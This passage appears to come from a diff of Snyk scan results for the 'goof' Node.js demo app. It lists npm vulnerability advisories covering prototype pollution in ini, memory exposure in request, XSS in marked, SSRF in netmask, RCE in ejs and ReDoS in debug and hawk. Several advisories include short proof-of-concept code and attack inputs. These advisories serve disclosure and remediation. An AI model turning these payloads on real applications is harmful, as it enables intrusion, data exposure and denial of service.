injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:request:20160119", + "shortDescription": { + "text": "Medium severity - Remote Memory Exposure vulnerability in request" + }, + "fullDescription": { + "text": "(CVE-2017-16026) request@2.42.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: request\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0\n# Overview\n\n[request](https://www.npmjs.com/package/request) is a simplified http request client.\n\n\nAffected versions of this package are vulnerable to Remote Memory Exposure.\nA potential remote memory exposure vulnerability exists in `request`. If a `request` uses a multipart attachment and the _body type_ option is `number` with value X, then X bytes of uninitialized memory will be sent in the body of the request.\r\n\r\nNote that while the impact of this vulnerability is high (memory exposure), exploiting it is likely difficult, as the attacker needs to somehow control the body type of the request. One potential exploit scenario is when a request is composed based on JSON input, including the body type, allowing a malicious JSON to trigger the memory leak.\r\n\r\n# Details\r\nConstructing a `Buffer` class with integer `N` creates a `Buffer`\r\nof length `N` with non zero-ed out memory.\r\n**Example:**\r\n```js\r\nvar x = new Buffer(100); // uninitialized Buffer of length 100\r\n// vs\r\nvar x = new Buffer('100'); // initialized Buffer with value of '100'\r\n```\r\n\r\nInitializing a multipart body in such manner will cause uninitialized memory to be sent in the body of the request.\r\n\r\n## Proof of concept\r\n```js\r\nvar http = require('http')\r\nvar request = require('request')\r\n\r\nhttp.createServer(function (req, res) {\r\n var data = ''\r\n req.setEncoding('utf8')\r\n req.on('data', function (chunk) {\r\n console.log('data')\r\n data += chunk\r\n })\r\n req.on('end', function () {\r\n // this will print uninitialized memory from the client\r\n console.log('Client sent:\\n', data)\r\n })\r\n res.end()\r\n}).listen(8000)\r\n\r\nrequest({\r\n method: 'POST',\r\n uri: 'http://localhost:8000',\r\n multipart: [{ body: 1000 }]\r\n},\r\nfunction (err, res, body) {\r\n if (err) return console.error('upload failed:', err)\r\n console.log('sent')\r\n})\r\n```\n\n# Remediation\n\nUpgrade `request` to version 2.68.0 or higher.\n\n\n# References\n\n- [Blog: Information about Buffer](https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md)\n\n- [Blog: Node Buffer API fix](https://github.com/ChALkeR/notes/blob/master/Lets-fix-Buffer-API.md#previous-materials)\n\n- [GitHub Commit](https://github.com/request/request/pull/2018/commits/3d31d4526fa4d4e4f59b89cabe194fb671063cdb)\n\n- [GitHub PR](https://github.com/request/request/pull/2018)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-201", + "npm" + ], + "cvssv3_baseScore": 5.1, + "security-severity": "5.1" + } + }, + { + "id": "npm:marked:20150520", + "shortDescription": { + "text": "High severity - Cross-site Scripting (XSS) vulnerability in marked" + }, + "fullDescription": { + "text": "(CVE-2016-10531) marked@0.3.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: marked\n* Introduced through: goof@1.0.1 and marked@0.3.5\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › marked@0.3.5\n# Overview\n[marked](https://marked.js.org/) is a low-level compiler for parsing markdown without caching or blocking for long periods of time.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS). An attacker could bypass its output sanitization (`sanitize: true`) protection. Using the [HTML Coded Character Set](https://www.w3.org/MarkUp/html-spec/html-spec_13.html#SEC13), attackers can inject `javascript:` code snippets into the output. For example, the following input `javascript֍ocument;alert(1)` will result in `alert(1)` being executed when the user clicks on the link.\n# Details\n\nA cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `marked` to version 0.3.6 or higher.\n# References\n- [GitHub Commit](https://github.com/chjj/marked/pull/592/commits/2cff85979be8e7a026a9aca35542c470cf5da523)\n- [GitHub PR](https://github.com/chjj/marked/pull/592)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 8.8, + "security-severity": "8.8" + } + }, + { + "id": "SNYK-JS-NETMASK-1089716", + "shortDescription": { + "text": "High severity - Server-side Request Forgery (SSRF) vulnerability in netmask" + }, + "fullDescription": { + "text": "(CVE-2021-28918) netmask@1.0.6" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: netmask\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › pac-resolver@3.0.0 › netmask@1.0.6\n# Overview\n[netmask](https://www.npmjs.org/package/netmask) is a library to parse IPv4 CIDR blocks.\n\nAffected versions of this package are vulnerable to Server-side Request Forgery (SSRF). It incorrectly evaluates individual IPv4 octets that contain octal strings as left-stripped integers, leading to an inordinate attack surface on hundreds of thousands of projects that rely on `netmask` to filter or evaluate IPv4 block ranges, both inbound and outbound.\r\n\r\nFor example, a remote unauthenticated attacker can request local resources using input data `0177.0.0.1` (`127.0.0.1`), which `netmask` evaluates as the public IP `177.0.0.1`.\r\nContrastingly, a remote authenticated or unauthenticated attacker can input the data `0127.0.0.01` (`87.0.0.1`) as localhost, yet the input data is a public IP and can potentially cause local and remote file inclusion (LFI/RFI).\r\nA remote authenticated or unauthenticated attacker can bypass packages that rely on `netmask` to filter IP address blocks to reach intranets, VPNs, containers, adjacent VPC instances, or LAN hosts, using input data such as `012.0.0.1` (`10.0.0.1`), which `netmask` evaluates as `12.0.0.1` (public).\n\n\n **NOTE:** This vulnerability has also been identified as: [CVE-2021-29418](https://security.snyk.io/vuln/SNYK-JS-NETMASK-11879326)\n\n# Remediation\nUpgrade `netmask` to version 2.0.1 or higher.\n# References\n- [GitHub Commit](https://github.com/rs/node-netmask/commit/3f19a056c4eb808ea4a29f234274c67bc5a848f4)\n- [PoC](https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md)\n- [Researcher Report](https://sick.codes/universal-netmask-npm-package-used-by-270000-projects-vulnerable-to-octal-input-data-server-side-request-forgery-remote-file-inclusion-local-file-inclusion-and-more-cve-2021-28918/)\n- [Nuclei Templates](https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-28918.yaml)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-918", + "CWE-20", + "npm" + ], + "cvssv3_baseScore": 7.7, + "security-severity": "7.7" + } + }, + { + "id": "SNYK-JS-INI-1048974", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in ini" + }, + "fullDescription": { + "text": "(CVE-2020-7788) ini@1.1.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ini\n* Introduced through: goof@1.0.1, npmconf@0.0.24 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › npmconf@0.0.24 › ini@1.1.0\n* _Introduced through_: goof@1.0.1 › npmconf@0.0.24 › config-chain@1.1.12 › ini@1.3.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › is-installed-globally@0.1.0 › global-dirs@0.1.1 › ini@1.3.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-auth-token@3.4.0 › rc@1.2.8 › ini@1.3.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › @snyk/update-notifier@2.5.1-rc2 › latest-version@3.1.0 › package-json@4.0.1 › registry-url@3.1.0 › rc@1.2.8 › ini@1.3.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › nconf@0.10.0 › ini@1.3.5\n# Overview\n[ini](https://www.npmjs.org/package/ini) is an An ini encoder/decoder for node\n\nAffected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\r\n\r\n# PoC by Eugene Lim\r\n\r\npayload.ini\r\n```\r\n[__proto__]\r\npolluted = \"polluted\"\r\n```\r\n\r\npoc.js:\r\n```\r\nvar fs = require('fs')\r\nvar ini = require('ini')\r\n\r\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\r\nconsole.log(parsed)\r\nconsole.log(parsed.__proto__)\r\nconsole.log(polluted)\r\n```\r\n\r\n```\r\n> node poc.js\r\n{}\r\n{ polluted: 'polluted' }\r\n{ polluted: 'polluted' }\r\npolluted\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7.3, + "security-severity": "7.3" + } + }, + { + "id": "npm:ejs:20161128", + "shortDescription": { + "text": "High severity - Arbitrary Code Execution vulnerability in ejs" + }, + "fullDescription": { + "text": "(CVE-2017-1000228) ejs@0.8.8" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ejs\n* Introduced through: goof@1.0.1, ejs-locals@1.0.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › ejs-locals@1.0.2 › ejs@0.8.8\n* _Introduced through_: goof@1.0.1 › ejs@1.0.0\n# Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n# Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n# Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n# Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://app.snyk.io/org/my-org# References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)" + }, + "properties": { + "tags": [ + "security", + "CWE-94", + "npm" + ], + "cvssv3_baseScore": 8.1, + "security-severity": "8.1" + } + }, + { + "id": "SNYK-JS-DEBUG-13283909", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in debug" + }, + "fullDescription": { + "text": "debug@3.1.0" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: debug\n* Introduced through: goof@1.0.1, method-override@3.0.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › method-override@3.0.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › http-proxy-agent@2.1.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › http-proxy-agent@2.1.0 › debug@3.1.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › finalhandler@0.3.6 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mquery@1.6.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › debug@2.2.0\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › get-uri@2.0.4 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › morgan@1.10.0 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › tap-mocha-reporter@0.0.27 › debug@2.6.9\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-gradle-plugin@3.2.4 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › needle@2.3.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-docker-plugin@1.38.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-go-plugin@1.11.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › @snyk/nodejs-runtime-agent@1.43.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-sbt-plugin@2.11.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › @snyk/nodejs-runtime-agent@1.43.0 › needle@2.3.0 › debug@4.1.1\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › pac-proxy-agent@3.0.1 › https-proxy-agent@3.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › proxy-agent@3.1.1 › https-proxy-agent@3.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-config@2.2.3 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-module@1.9.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-mvn-plugin@2.8.0 › needle@2.4.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-nuget-plugin@1.16.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve@1.0.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-try-require@1.3.1 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › debug@3.2.6\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › debug@3.2.6\n# Overview\n[debug](https://github.com/visionmedia/debug) is a small debugging utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) test\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nA fix was pushed into the `master` branch but not yet published.\n# References\n- [GitHub Issue](https://github.com/debug-js/debug/issues/957#issuecomment-2523030187)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1333", + "npm" + ], + "cvssv3_baseScore": 6.9, + "security-severity": "6.9" + } + }, + { + "id": "SNYK-JS-HAWK-2808852", + "shortDescription": { + "text": "High severity - Regular Expression Denial of Service (ReDoS) vulnerability in hawk" + }, + "fullDescription": { + "text": "(CVE-2022-29167) hawk@3.1.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: hawk\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › hawk@3.1.3\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › codecov.io@0.1.6 › request@2.42.0 › hawk@1.1.1\n# Overview\n[hawk](https://github.com/hueniverse/hawk) is a library for the HTTP Hawk Authentication Scheme.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in header parsing where each added character in the attacker's input increases the computation time exponentially.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 